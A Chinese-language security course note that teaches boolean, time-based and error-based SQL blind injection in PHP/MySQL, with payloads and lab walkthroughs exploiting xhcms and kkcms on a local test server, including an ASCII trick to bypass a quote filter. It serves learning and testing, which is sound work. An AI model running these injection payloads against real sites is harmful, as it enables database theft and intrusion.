第44天:WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

时间轴:

44天知识点总结:

1.mysql的增删改查功能

2.根据源码sql语句的三种sql注入:布尔盲注(必须要有回显)

延时判断(都可以)

报错回显(必须要有报错处理机制)

3.两个cms案例:

xhcms,kkcms

使用ascil进行单引号绕过。

4.写的一个新闻网页,使用del过滤。

演示案例:

PHP-MYSQL-SQL 操作-增删改查

PHP-MYSQL-注入函数-布尔&报错&延迟

PHP-MYSQL-注入条件-数据回显&错误处理

PHP-MYSQL-CMS 案例-插入报错&删除延迟

PHP-MYSQL-SQL 操作-增删改查

1、功能:数据查询(注重数据回显)

查询:SELECT * FROM news where id=$id

2、功能:新增用户,添加新闻等(注重结果)

增加:INSERT INTO news (字段名) VALUES (数据)

3、功能:删除用户,删除新闻等(注重结果)

删除:DELETE FROM news WHERE id=$id

4、功能:修改用户,修改文章等(注重结果)

修改:UPDATE news SET id=$id
insert是如何进行注入的?
演示:

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在==注入过程中,获取的数据不能回显==至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

1、基于布尔的 SQL 盲注-逻辑判断(需要有回显)

regexp,like,ascii,left,ord,mid

php 复制代码
#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2、基于时间的 SQL 盲注-延时判断(可以不用回显及报错处理)

if,sleep

php 复制代码
#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

演示:

3、基于报错的 SQL 盲注-报错回显(需要报错处理)

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。

FLOOR:

FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。
如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。

updatexml:

updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。

  • 示例:
  • 上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。
    extractvalue:

extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。

示例:
上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。

php 复制代码
extractvalue(1, concat(0x7e, (SELECT user())), 1)

使用方法:

php 复制代码
#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

演示:

4.更多:

12种报错注入+万能语句 - 简书

php 复制代码
like 'ro%'            #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错

1.基于延时:((报错和回显都不需要))

and if(1=1,sleep(5),0)
2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显))

and length(database())=6
3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注)

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显,无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

演示案例:

news.html与news.php:

尝试对删除功能进行注入:

没有对数据进行回显操作,只有报错处理。

PHP-MYSQL-CMS 案例-插入报错&删除延迟

1、xhcms-insert报错
php 复制代码
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

打开对应的源码

  1. ctrl+shift+f:全局搜索:insert
  2. 发现有报错处理:文件路径为:files/submit.php
  3. 由于网址在index.php有规定,特殊的路由访问方式
  4. 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发
  5. 所以直接使用http://10.0.0.5:84/?r=contact 触发网址,并对照源码发现,就是此页面
  6. 再次查看submit.php页面发现其SQL语句中的表名为$query = "INSERT INTO ***interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;*
  7. 分析sql语句query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('type', 'xs', 'cid', 'name', 'mail', 'url', 'touxiang', 'shebei', 'ip', 'content', 'tz', now())"; 发现有' '影响,在注入时,需要避免
  8. 使用注入:' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
  9. 注意:留言内容必须是中文,不然会无法回显报错
  10. 数据回显:新增错误:XPATH syntax error: '5.7.26',盲注成功

1.ctrl+shift+f:全局搜索:insert

发现在此处可以进行sql报错处理。

2.发现有报错处理:文件路径为:files/submit.php

右鍵找到地址,复制地址可以看到路径。

3.正常情况去访问:(会发现报错)

分析发现是使用别的访问方式:

4.于是尝试访问:(发现出现报错)

5.于是继续进行全局搜索:发现有个contact是需要此数据传递的

6.所以直接使用http://10.0.0.5:84/?r=contact 触发网址,并对照源码发现,就是此页面

7.源码和网页对应上。

8.可判断此处就是接受评论的地方。

9.发现interaction和数据库对应上,也和网页对用上。

10.由于有报错可以进行盲注报错处理,但由于数据中有'',所以需要进行过滤。

使用语句:

php 复制代码
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
2、kkcms-delete延时

and if(1=1,sleep(5),0)

or if(1=1,sleep(5),0)

or if(ord(left(database(),1))=107,sleep(2),0)

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:delete
  3. 发现有删除相关代码:文件路径为:admin/model/usergroup.php
  4. 访问发现http://10.0.0.5/admin/model/usergroup.php,出现空白,
  5. 解决:必须需要登录http://10.0.0.5/admin 还是空白
  6. 由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配
  7. 搜到包含文件include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php
  8. http://10.0.0.5/admin/cms_usergroup.php 访问成功
  9. 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp
    1.打开对应的源码

2.ctrl+shift+f:全局搜索:delete

3.发现有删除相关代码:文件路径为:admin/model/usergroup.php

4.访问发现http://10.0.0.5/admin/model/usergroup.php,出现空白,

5.解决:必须需要登录http://10.0.0.5/admin

用戶名:admin

密码:123456

6.由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配

7.搜到包含文件include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php

http://10.0.0.5/admin/cms_usergroup.php访问成功

寻找表:

由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp

  • 使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功?del=4 or if(1=1,sleep(2),sleep(0))
  • 回显200成功后,将?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功
  • 需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别
  • ?del=4%20or%20if(length(database())=5,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位(可以查看右下角判断时间)
  • ?del=4%20or%20if(**left(database(),1)='k',sleep(1),sleep(0))将判断内容替换为检查当前数据库名称的第一个字符是否为 'k'。

发现,回显的数据包,并没有延时,但数据库名为kkcms

将源码的sql语句打印出来,发现是源码对于单引号做了过滤

  • ord() 函数:
  • ord() 函数返回字符串的第一个字符的 ASCII 值。
  • 在这个语句中,ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。

将?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤。

ASCII值:k-->107:

网站搭建教程:

1.xhcms:

使用phpstudy5.4.45

跳转install,安装即可:

若报错:

则:


2.kkcms:

本文章由李豆豆喵和番薯小羊卷~共同完成。

相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1235 天前
matlab画图工具
开发语言·matlab
dustcell.5 天前
haproxy七层代理
java·开发语言·前端